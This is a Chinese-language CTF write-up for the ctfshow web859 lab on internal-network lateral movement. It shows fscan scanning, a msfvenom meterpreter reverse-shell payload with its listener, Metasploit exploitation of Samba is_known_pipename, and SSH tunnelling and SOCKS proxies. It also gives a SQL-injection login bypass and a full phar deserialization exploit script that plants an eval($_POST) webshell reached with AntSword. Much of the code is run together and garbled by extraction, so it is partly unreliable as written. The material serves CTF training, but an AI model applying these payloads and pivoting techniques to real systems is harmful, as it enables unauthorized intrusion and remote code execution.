内网渗透进阶——ctfshow靶场web859_有跳板机详细横向教程(只有内网主机,无跳板机如何出网,SCP传输文件,代码审计)
今天给大家带来一篇ctfshow靶场的内网横向教程;设计知识点:
文章目录
靶场介绍
来自2023年2月的RealWorldCTF渗透赛环境
- 需要本地ssh 链接题目给的地址和端口,作为攻击机(攻击机不出网)
- 攻击机预置了某些工具,可以自己使用
- 使用ssh登陆攻击机;
# ssh连接命令ssh [email protected] -p 环境生成的端口号 账号密码:
用户名:ctfshow
密码:ctfshow
信息收集过程
首先登陆内网攻击机:

我们当前机器的权限是root 用户,并且知道当前的内网IP网段为:172.2.102.0/24

下一步思路:需要得知其他机器的网段和具体IP是多少;不然怎么渗透横向?所以我们可以上传工具Linum或者fscan等内网扫描工具;
这里我们使用scp命令进行传输:
# 格式scp-P 目标端口 文件名称 目标IP地址:/tmp # 上传到内网攻击机的 /tmp 目录scp-P28202 fscan [email protected]:/tmp chomd +x fscan ./fscan -h172.2.102.0/24 结果如下:


成功上传,接下来执行该脚本:

发现内网存在一台机器,并且搭建了一个文件管理系统;
尝试搭建socks代理(失败)
这里因为是在内网中,所以要想我们本地的Kali等能够访问,需要挂一个代理(详细步骤不再演示,可以看下列文章):
- 内网横向——Vulnstack-1靶场复现(万字解析手把手教学)
- 内网横向靶场——记录一次横向渗透(二)
- 内网横向——记录某三层网络渗透及综合渗透(socks代理隧道搭建,nacos未授权,redis上传Webshell)
更多相关文章在我的博客里,搜素“内网横向”标签即可看到;除此之外还会发布各种“应急响应”“CTF比赛“”渗透测试“等文章,帮助大家更好的学校网络 / 信息安全知识;关注我所以这里我用MSF生成一个反弹shell后,在内网攻击机里执行:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=5555-f elf > MSF.elf # 建立监听 use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.44.129 set lport 5555 run 生成payload:

上传到内网机器:

建立监听,看是否能返回会话:

结果并没有返回,失败了;原因:该内网机器的网络 / 路由 / DNS 配置问题
渗透第一台主机(利用服务漏洞)
我们之前还通过fscan发现其开放的端口以及服务:

- 139端口:
samba服务 - 445端口:
smb服务
这里我们可以用MSF框架的相关payload尝试一下是否存在漏洞:
# 搜素 search smb search samba # 漏洞类型 永恒之蓝 (MS17-010): search ms17_010 Samba 远程代码执行: search is_known_pipename 拒绝服务攻击: search type:dos platform:windows smb 经过尝试,发现第二台主机存在Samba 远程代码执行漏洞:
msfconsole -q use exploit/linux/samba/is_known_pipename # 内网目标机器地址:172.2.102.6 / 172.2.102.5set rhost 172.2.102.6 exploit 过程:


这里我们就获取了第一台内网主机的最高权限;
内网SSH本地端口转发(新方法)
socks隧道搭建不了怎么办?因为没有跳板机连通外网,所以用不了frp等工具;使用SSH 本地端口转发需要一台公网VPS
方法一:搭建单层代理(失败)
# 命令格式:ssh-CfNg-L<本地端口>:<目标主机IP>:<目标主机端口><跳板机用户名>@<跳板机IP>-p<跳板机端口>ssh-CfNg-L80:172.2.102.6:80 [email protected] -p28202原理说明
这条命令的作用是:
- 把你本地机器的
80端口,通过跳板机pwn.challenge.ctf.show:28202,转发到目标主机172.2.42.6:80。 - 这样你在本地浏览器访问 http://127.0.0.1:80,就等价于访问跳板机后面的目标服务。
结果如下:但是失败了!!!

报错的核心原因是:
- 执行这条 SSH 命令的内网机器(172.2.102.4)无法将域名 pwn.challenge.ctf.show 解析为对应的 IP 地址
- 内网机器 “不出网”:意味着内网机器未配置有效的 DNS 服务器(所以
无法正常解析域名,造成报错)
方法二:搭建二层代理(成功)
打内网的时候经常出现的事就是我们获得了一台内网里服务器的权限,然后要通过这台服务器打其他机器,拓扑结构:
VPS->linux机器(可控)->与linux机器在同一个内网内的其他机器 要实现从 本地 PC 访问这些内网资源,你需要通过 VPS 建立一个二级隧道。以下是完整的操作步骤:
第一步:在 VPS 上建立第一级隧道
此步骤将 CTF 内网机器 的端口映射到 VPS 的本地端口。
在你的 公网VPS(需开启999端口) 上执行:
# 映射内网 172.2.102.5 的 80 端口(Web 系统)到 VPS 的 9999 端口ssh-CfNg-L9999:172.2.215.5:80 [email protected] -p28202第二步:在本地 PC 上建立第二级隧道
此步骤将 VPS 上的 9999 端口映射到你 本地 PC 的 8086 端口。
在你的 本地 PC 终端执行:
# 映射 VPS 的 9999 端口到本地的 8086 端口ssh-CfNg-L8086:127.0.0.1:9999 root@VPS公网地址 -p22第三步:验证与访问
现在,链路已经打通:本地 PC:8086 <—> VPS:9999 <—> CTF 跳板机 <—> 内网 172.2.102.5:80
访问 Web 界面: 在本地浏览器输入 http://127.0.0.1:8086,你应该能看到“欢迎登陆CTFshow文件管理系统”

方法三:使用profixier(成功)
打开profixier,配置


随后直接访问 http://172.2.102.5/ 也可成功访问内网:

方法四:使用插件Proxy SwitchyOmega 3(成功)
直接在 VPS 上建立一个 动态 Socks5 代理:
(1)VPS 执行: ssh -CfNg -D 0.0.0.0:1080 [email protected] -p 28202
(2)本地使用: 使用浏览器插件(如 Proxy SwitchyOmega)连接 VPS地址:1080 (Socks5 协议)
(3)结果: 你可以直接在浏览器访问 http://172.2.102.5,无需配置任何本地映射。

随便使用一种你喜欢的方法就行;
渗透第二台主机(代码审计)
这里我的靶场掉了,所以换了个新的地址:172.2.215.4
我们查看该网页,在底部发现了其CMS系统名称:

点击该文字,跳转到了其开源代码(可以进行代码审计)
代码被好像违规了,被官方删了。。。只能用网上的WP了
代码审计:SQL注入
在api/index.php发现可能存在的sql注入:
<?php /* # -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2023-02-22 09:15:26# @Last Modified by: h1xa# @Last Modified time: 2023-02-22 11:07:47# @email: [email protected]# @link: https://ctfer.com */ error_reporting(0); session_start(); class action{ private $username; private $password; private $email; public functiondoAction(){$action=$_GET['a'] ?? "login"; switch ($action){case'login':$this->doLogin();break;case'reset':$this->doReset();break;case'view':$this->doView();break; default: $this->doDefault();break;}}functiondoLogin(){ include 'config.php';$username=$this->doFilter($_POST['username']);$password=$this->doFilter($_POST['password']);$conn= new mysqli($dbhost,$dbuser,$dbpwd,$dbname); if(mysqli_connect_errno()){ die(json_encode(array(mysqli_connect_error())));}$conn->query("set name $charName");$sql="select password from user where username = '$username' and password = '$password' limit 0,1;";$result=$conn->query($sql);$row=$result->fetch_array(MYSQLI_ASSOC); if($row['password']===$password){$_SESSION['LOGIN']=true;}else{$_SESSION['LOGIN']=false;$_SESSION['msg']='登陆失败';}$conn->close();$_SESSION['LOGIN']?$this->dispatcher("../ckfinder/ckfinder.html"):$this->dispatcher("../index.php");}functiondoReset(){ include 'config.php';$email= filter_input(INPUT_POST, 'email',FILTER_VALIDATE_EMAIL);$username=$this->doFilter($_POST['username']);$conn= new mysqli($dbhost,$dbuser,$dbpwd,$dbname); if(mysqli_connect_errno()){ die(json_encode(array(mysqli_connect_error())));}$conn->query("set name $charName");$sql="select email from user where email = '$email' and username = '$username'";$result=$conn->query($sql);$row=$result->fetch_array(MYSQLI_ASSOC); if($row['email']){$_SESSION['RESET']=true;$this->email =$row['email'];$_SESSION['msg']="你好! 已经将重置密码链接发送至邮箱".$this->email;}else{$_SESSION['RESET']=false;$_SESSION['msg']="邮箱不存在";}$conn->close();$this->dispatcher("../index.php");}functiondoDefault(){ header("location: ../index.php");}function doFilter($str){$str= str_replace("'", "%27", $str);$str= str_replace("\"", "%22", $str);$str= str_replace("\\", "%5c", $str);return$str;}function dispatcher($url){ header("location:$url");} public function__wakeup(){$this->clear();}function sendResetMail($mail){$content="你好,下面是你的重置密码链接,请复制到浏览器地址栏打开.";$content.="http://xxx.com/?token=xxxx&email=$mail"; //功能暂未实现,先保留邮件,以后发送 file_put_contents("../mail_cache/cache.php","<?php exit('$content');?>");}functioncheckSession(){ if($_SESSION['LOGIN']!==true){ die("请先登陆");returnfalse;}else{returntrue;}}functiondoView(){$this->checkSession();$file=str_replace("..","",$_POST['file']); if(file_exists($file)){ header("Content-type: image/jpeg");echo file_get_contents("../ckfinder/userfiles/".$file);}}functionclear(){ if($_SESSION['LOGIN']&& isset($this->email)){$this->sendResetMail($this->email);}}} //hack here;$action= new action();$action->doAction();代码分析:
由于 doFilter 只简单替换了单引号,且 SQL 语句为 select password from user where username = '$username' ...,我们可以构造一个万能密码。
- Payload 构造:
- username:
admin - password:
' or '1'='1
- username:
# 实际执行的 SQL:select password fromuserwhere username ='admin'and password ='%27 or %271%27=%271'limit0,1;注意:如果数据库端没有对 %27 进行 URL 解码处理,此方法可能失效。但在该题目中,如果 charName 存在宽字节环境(如 gbk),可使用 %df%27 进行绕过。
详细审计过程可以看大佬的文章,我这里就不赘述了:ctfshow web859_有跳板机 WP想要了解SQL注入的基本原理可以看我的专栏:sqli-labs全过关解析含详细payload
最后得到账号密码:ctfshow / ctfshase????
登录访问:

页面如下:

经过尝试,无法上传.php文件:

代码审计:反序列化漏洞 (PHP Deserialization)
然后再审计ckfinder的部分:
- 魔术方法: 代码定义了
__wakeup()方法,该方法会在对象被反序列化时自动触发。 - 触发路径: __wakeup() 调用了
clear(),而 clear() 又调用了sendResetMail($this->email)。 - 漏洞细节:
sendResetMail函数使用了file_put_contents,且写入的文件名和内容部分可控。 - 利用方式: 如果攻击者能控制反序列化过程中的
$this->email属性,就可以利用 PHP 死亡绕过(Death Bypass) 技术。例如,构造 email 为?><?php phpinfo();?>,通过闭合前面的 exit() 来实现 RCE(远程代码执行)。- 注意:代码末尾虽然没有显式的
unserialize(),但在 CTF 环境中,通常结合session反序列化或其他入口点触发。
- 注意:代码末尾虽然没有显式的
第一步:先将以下内容写到一个exp.php里:
<?phpclassaction{private$email="'.eval(\$_POST[1]));//";}$a=newaction();$phar=newPhar("exp2.phar");$phar->startBuffering();$phar->setStub(file_get_contents('exp.png')."<?php __HALT_COMPILER(); ?>");$phar->addFromString('exp.txt','exp');$phar->setMetadata($a);$phar->stopBuffering();原理:
- 这个地方的类是action,如果触发了反序列化的话会把<?php exit('$content');?>写入到/var/www/html/mail_cache/cache.php中;
- 然后$content = “你好,下面是你的重置密码链接,请复制到浏览器地址栏打开 http://xxx.com/?token=xxxx&email=$mail”;可以反序列化$mail,
- 插进去会变成这样:
file_put_contents("../mail_cache/cache.php","<?php exit('你好,下面是你的重置密码链接,请复制到浏览器地址栏打开 http://xxx.com/?token=xxxx&email='.eval(\$_POST[1]))//');?>");第二步:然后打开php.ini,设置phar.readonly=Off
确保你本地安装了 PHP,如果安装了phpstudy,(以我为例)找到D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini
- 确保该行没有前面的分号
;(分号表示注释)。 - 修改为:phar.readonly = Off。

第三步:然后使用python脚本生成一个较小的图片(较大的图片上传不上去)
from PIL import Image # 创建一个新的白色图片(RGB格式) image = Image.new("RGB", (10, 10), "white")# 保存图片 image.save("exp.png")第四步:执行php exp.php生成一个exp.phar
临时运行脚本(无需配置环境变量):
# 基础写法(如果exp.php在当前目录,直接用这个)&"D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe" exp.php # 如果exp.php在指定路径(比如桌面),替换成实际路径&"D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe""C:\Users\Leco\Desktop\exp.php"结果如下:

成功生成:

第五步:将exp2.phar后缀改为exp2.png
将exp2.phar后缀改为exp2.png,到上传图片的地方,上传这个文件

第六步:蚁剑连接
登陆后,之后使用hackbar
- GET传参:http://xxx/api/index.php?a=view
- POST传参:file=phar:///var/www/html/ckfinder/userfiles/images/exp2.png


然后访问 http://127.0.0.1:8086/mail_cache/cache.php(不知道为什么失败了,但不影响)

然后蚁剑可以直接连接


总结
- 方法一:在MSF横向到目标主机时,即可得到flag;
- 方法二:通过搭建代理,然后代码审计,蚁剑登陆也能得到flag;

技术总结:
- SSH跳板机连接与提权,获取交互式Shell
- SCP协议实现本地到跳板机的工具传输
- fscan内网网段扫描,发现存活资产与开放端口
- MSF框架利用Samba服务is_known_pipename漏洞getshell
- SSH本地端口映射搭建隧道,实现本地访问内网Web服务
- PHP代码审计,挖掘反序列化、代码注入潜在漏洞
- Phar协议构造恶意文件,结合图片后缀绕过文件上传限制
- 修改php.ini配置(phar.readonly=Off)生成恶意Phar文件
- phar://协议触发反序列化,写入一句话木马
- 蚁剑连接一句话木马,获取Web服务权限
- SQL注入fuzz测试,分析邮箱格式验证的过滤规则
果然CTF靶场还是比Vulnhub的靶场难度大一点;而且主要是方法不唯一;期待下次再见;